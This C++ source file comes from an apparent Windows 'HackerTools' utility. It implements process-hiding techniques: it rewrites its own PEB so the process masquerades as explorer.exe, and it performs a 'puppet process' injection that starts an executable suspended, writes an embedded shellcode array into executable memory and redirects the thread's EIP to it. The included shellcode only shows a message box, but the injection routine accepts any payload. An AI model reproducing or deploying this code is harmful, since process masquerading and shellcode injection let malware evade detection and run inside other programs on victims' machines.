﻿#include "stdafx.h"
#include "HackerTools.h"
#include "CHide.h"
#include "afxdialogex.h"
#include <winternl.h>







IMPLEMENT_DYNAMIC(CHide, CDialogEx)

CHide::CHide(CWnd* pParent /*=nullptr*/)
	: CDialogEx(IDD_Hide, pParent)
	, m_Path(_T(""))
	, m_Tip(_T(""))
{

}

CHide::~CHide()
{
}

void CHide::DoDataExchange(CDataExchange* pDX)
{
	CDialogEx::DoDataExchange(pDX);
	DDX_Text(pDX, IDC_EDIT1, m_Path);
	DDX_Text(pDX, IDC_EDIT2, m_Tip);
}


BEGIN_MESSAGE_MAP(CHide, CDialogEx)
	ON_BN_CLICKED(IDC_Pretend, &CHide::OnBnClickedPretend)
ON_WM_DROPFILES()
ON_BN_CLICKED(IDC_Puppet, &CHide::OnBnClickedPuppet)
ON_BN_CLICKED(IDC_Hijack, &CHide::OnBnClickedHijack)
END_MESSAGE_MAP()



BOOL CHide::OnInitDialog()
{
	CDialogEx::OnInitDialog();

	//管理员模式下取消过滤拖拽消息
	ChangeWindowMessageFilterEx(m_hWnd, WM_DROPFILES, MSGFLT_ALLOW, NULL);
	ChangeWindowMessageFilterEx(m_hWnd, 0x0049, MSGFLT_ALLOW, NULL);

	return TRUE;

}



//************************************************************
// 函数名称: OnDropFiles
// 函数说明: 响应文件拖拽消息
// 作	 者: GuiShou
// 时	 间: 2019/1/24
// 参	 数: HDROP hDropInfo 文件句柄
// 返 回 值: void
//************************************************************
void CHide::OnDropFiles(HDROP hDropInfo)
{
	//清空文本框的内容
	m_Path = "";

	//获取文件路径
	TCHAR szPath[MAX_PATH] = { 0 };
	DragQueryFile(hDropInfo, 0, szPath, MAX_PATH);

	//显示到控件上
	m_Path = szPath;
	UpdateData(FALSE);

	CDialogEx::OnDropFiles(hDropInfo);
}



//************************************************************
// 函数名称: DisguiseProcess
// 函数说明: 修改本进程的PEB中的路径和命令行信息 实现进程伪装
// 作	 者: GuiShou
// 时	 间: 2019/1/24
// 参	 数: const wchar_t * lpwszPath 伪装的文件路径  
// 参	 数: const wchar_t * lpwszCmd伪装的文件名
// 返 回 值: BOOL 是否成功
//************************************************************
BOOL CHide::DisguiseProcess(const wchar_t * lpwszPath, const wchar_t * lpwszCmd)
{
	//定义函数指针
	typedef NTSTATUS(NTAPI *typedef_NtQueryInformationProcess)(
		IN HANDLE ProcessHandle,
		IN PROCESSINFOCLASS ProcessInformationClass,
		OUT PVOID ProcessInformation,
		IN ULONG ProcessInformationLength,
		OUT PULONG ReturnLength OPTIONAL
		);

	//定义函数指针变量
	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;

	//需要通过LoadLibrary GetProcAddress从ntdll.dll中获取地址
	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
	if (NtQueryInformationProcess == NULL)
	{
		m_Tip += "GetProcAddress Error\r\n";
		return FALSE;
	}

	//获取指定进程的基本信息
	NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		m_Tip += "NtQueryInformationProcess Error\r\n";
		return FALSE;
	}

	//获取指定进程中本信息结构体中的PebBaseAddress
	ReadProcessMemory(GetCurrentProcess(), pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	//获取指定进程环境块结构中的ProcessParameters
	ReadProcessMemory(GetCurrentProcess(), peb.ProcessParameters, &Param, sizeof(Param), NULL);

	// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
	usCmdLen = (USHORT)(2 + 2 * ::wcslen(lpwszCmd));
	::WriteProcessMemory(GetCurrentProcess(), Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(GetCurrentProcess(), &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
	// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
	usPathLen = (USHORT)(2 + 2 * ::wcslen(lpwszPath));
	::WriteProcessMemory(GetCurrentProcess(), Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	::WriteProcessMemory(GetCurrentProcess(), &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	return TRUE;
}




//************************************************************
// 函数名称: OnBnClickedPretend
// 函数说明: 进程伪装按钮
// 作	 者: GuiShou
// 时	 间: 2019/1/23
// 参	 数: void
// 返 回 值: void
//************************************************************
void CHide::OnBnClickedPretend()
{
	//判断当前系统是否是32位 进程伪装技术必须在对应的操作系统才能生效
	BOOL bRet = IsSystem32();
	if (bRet)
	{
		//伪装本进程为explorer.exe
		if (FALSE == DisguiseProcess(L"C:\\Windows\\explorer.exe", L"explorer.exe"))
		{
			m_Tip += "进程伪装失败\r\n";
		}
		else
		{
			m_Tip += "进程伪装成功\r\n";
		}
		printf("Dsisguise Process OK.\n");
		
	}
	else
	{
		MessageBox(L"请在32位系统下运行此功能");

	}
	UpdateData(FALSE);
}


//************************************************************
// 函数名称: IsSystem32
// 函数说明: 判断当前系统是否是32位
// 作	 者: GuiShou
// 时	 间: 2019/1/23
// 参	 数: void
// 返 回 值: BOOL 是32位返回TRUE 不是返回FALSE
//************************************************************
BOOL CHide::IsSystem32()
{
	SYSTEM_INFO si = { 0 };
	GetNativeSystemInfo(&si);
	if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
		si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
	{
		return FALSE;
	}
	else
	{
		return TRUE;
	}
}







//************************************************************
// 函数名称: OnBnClickedPuppet
// 函数说明: 傀儡进程按钮
// 作	 者: GuiShou
// 时	 间: 2019/1/24
// 参	 数: void
// 返 回 值: void
//************************************************************
void CHide::OnBnClickedPuppet()
{
	// 弹窗 Shellcode
	unsigned char data[624] = {
		0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x7D,
		0x08, 0x81, 0xE7, 0x00, 0x00, 0xFF, 0xFF, 0x66, 0x81, 0x3F, 0x4D, 0x5A, 0x75, 0x12, 0x8B, 0xF7,
		0x03, 0x76, 0x3C, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x75, 0x05, 0x89, 0x7D, 0xFC, 0xEB, 0x10,
		0x81, 0xEF, 0x00, 0x00, 0x01, 0x00, 0x81, 0xFF, 0x00, 0x00, 0x00, 0x70, 0x72, 0x02, 0xEB, 0xD7,
		0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC2, 0x04, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7,
		0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B,
		0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3,
		0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC, 0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1,
		0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40,
		0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xFC,
		0x60, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0x8B, 0x35, 0x30, 0x00, 0x00, 0x00, 0x8B,
		0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x38, 0x4F, 0x18,
		0x75, 0xF3, 0x89, 0x45, 0xFC, 0x61, 0x8B, 0x45, 0xFC, 0xC9, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xC4,
		0xF8, 0x60, 0x33, 0xC9, 0x8B, 0x55, 0x0C, 0x8A, 0x02, 0x0A, 0xC0, 0x74, 0x04, 0x41, 0x42, 0xEB,
		0xF6, 0x89, 0x4D, 0xF8, 0x8B, 0x75, 0x08, 0x03, 0x76, 0x3C, 0x8B, 0x76, 0x78, 0x03, 0x75, 0x08,
		0x33, 0xD2, 0x8B, 0x5E, 0x20, 0x03, 0x5D, 0x08, 0x56, 0x8B, 0x75, 0x0C, 0x8B, 0x3B, 0x03, 0x7D,
		0x08, 0x8B, 0x4D, 0xF8, 0xF3, 0xA6, 0x75, 0x03, 0x5E, 0xEB, 0x0A, 0x5E, 0x42, 0x83, 0xC3, 0x04,
		0x3B, 0x56, 0x18, 0x72, 0xE3, 0x8B, 0x5E, 0x24, 0x03, 0x5D, 0x08, 0xB8, 0x02, 0x00, 0x00, 0x00,
		0xF7, 0xE2, 0x03, 0xD8, 0x0F, 0xB7, 0x03, 0x8B, 0x5E, 0x1C, 0x03, 0x5D, 0x08, 0xB9, 0x04, 0x00,
		0x00, 0x00, 0xF7, 0xE1, 0x03, 0xD8, 0x8B, 0x03, 0x03, 0x45, 0x08, 0x89, 0x45, 0xFC, 0x61, 0x8B,
		0x45, 0xFC, 0xC9, 0xC2, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0x73,
		0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63,
		0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72,
		0x61, 0x72, 0x79, 0x41, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41,
		0x00, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x44, 0x65, 0x6D, 0x6F, 0x6E, 0x47, 0x61, 0x6E, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x65, 0x6D, 0x6F, 0x6E,
		0x47, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x60, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x81, 0xEB, 0xB6, 0x11, 0x40, 0x00, 0xE8, 0xAE, 0xFE,
		0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x05, 0xE9, 0x9A, 0x00, 0x00, 0x00, 0x89, 0x83, 0x46, 0x11, 0x40,
		0x00, 0x8D, 0x83, 0x59, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xE8, 0xE8,
		0xFE, 0xFF, 0xFF, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x7C, 0x89, 0x83, 0xA4, 0x11, 0x40, 0x00, 0x8D,
		0x83, 0x68, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3, 0x46, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11,
		0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x5D, 0x89, 0x83, 0xA8, 0x11, 0x40, 0x00, 0x8D, 0x83,
		0x4E, 0x11, 0x40, 0x00, 0x50, 0xFF, 0x93, 0xA8, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB,
		0x44, 0x89, 0x83, 0x4A, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x75, 0x11, 0x40, 0x00, 0x50, 0xFF, 0xB3,
		0x4A, 0x11, 0x40, 0x00, 0xFF, 0x93, 0xA4, 0x11, 0x40, 0x00, 0x0B, 0xC0, 0x75, 0x02, 0xEB, 0x25,
		0x89, 0x83, 0xAC, 0x11, 0x40, 0x00, 0x8D, 0x83, 0x81, 0x11, 0x40, 0x00, 0x8D, 0x8B, 0x9B, 0x11,
		0x40, 0x00, 0x6A, 0x04, 0x51, 0x50, 0x6A, 0x00, 0xFF, 0x93, 0xAC, 0x11, 0x40, 0x00, 0x83, 0xF8,
		0x06, 0x74, 0x02, 0x61, 0xC3, 0x61, 0xE9, 0xDE, 0xC4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00
	};

	//清空提示框
	m_Tip = "";

	//检测是否为exe
	LPTSTR pszExtension = PathFindExtension(m_Path);
	if (lstrcmp(pszExtension, L".exe") != 0)
	{
		MessageBox(L"请先拖拽有效的exe文件");
		return;
	}

	//检测文件是否存在
	if (GetFileAttributes(m_Path) == INVALID_FILE_ATTRIBUTES)
	{
		MessageBox(L"文件不存在 请重试！");
		return;
	}
	//使用ShellCode替换目标进程
	if (FALSE == ReplaceProcess(L"F:\\FileCleaner2.0.exe", data, 624, 432))
	{
		m_Tip += "替换目标进程失败\r\n";
	}
	else
	{
		m_Tip += "替换目标进程成功\r\n";
	}

	UpdateData(FALSE);
}

BOOL CHide::ReplaceProcess(const wchar_t * pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT threadContext = { 0 };
	BOOL bRet = FALSE;
	RtlZeroMemory(&si, sizeof(si));
	RtlZeroMemory(&pi, sizeof(pi));
	RtlZeroMemory(&threadContext, sizeof(threadContext));
	si.cb = sizeof(si);

	//创建进程并挂起主线程
	bRet = CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (bRet == FALSE)
	{
		m_Tip += "CreateProcess Error\r\n";
		return FALSE;
	}

	//在进程中申请一块内存
	LPVOID lpDestBaseAddr = VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpDestBaseAddr == NULL)
	{
		m_Tip += "VirtualAllocEx Error\r\n";
		return FALSE;
	}

	//写入替换的数据
	bRet = WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
	if (bRet == FALSE)
	{
		m_Tip += "WriteProcessMemory Error\r\n";
		return FALSE;
	}

	//获取线程上下文
	threadContext.ContextFlags = CONTEXT_ALL;
	bRet = GetThreadContext(pi.hThread, &threadContext);
	if (bRet == FALSE)
	{
		m_Tip += "GetThreadContext Error\r\n";
		return FALSE;
	}

	//修改进程的PE文件的入口地址以及映像大小，先获取原来进程PE结构的加载基址
	threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;

	//设置挂起进程的线程上下文
	bRet = SetThreadContext(pi.hThread, &threadContext);
	if (bRet == FALSE)
	{
		m_Tip += "SetThreadContext Error\r\n";
		return FALSE;
	}

	//恢复挂起的进程的线程
	ResumeThread(pi.hThread);
	return TRUE;
}


//************************************************************
// 函数名称: OnBnClickedHijack
// 函数说明: DLL劫持按钮
// 作	 者: GuiShou
// 时	 间: 2019/1/24
// 参	 数: void
// 返 回 值: void
//************************************************************
void CHide::OnBnClickedHijack()
{
	MessageBox(L"请查看菜单->说明->隐藏技术->DLL劫持");
}
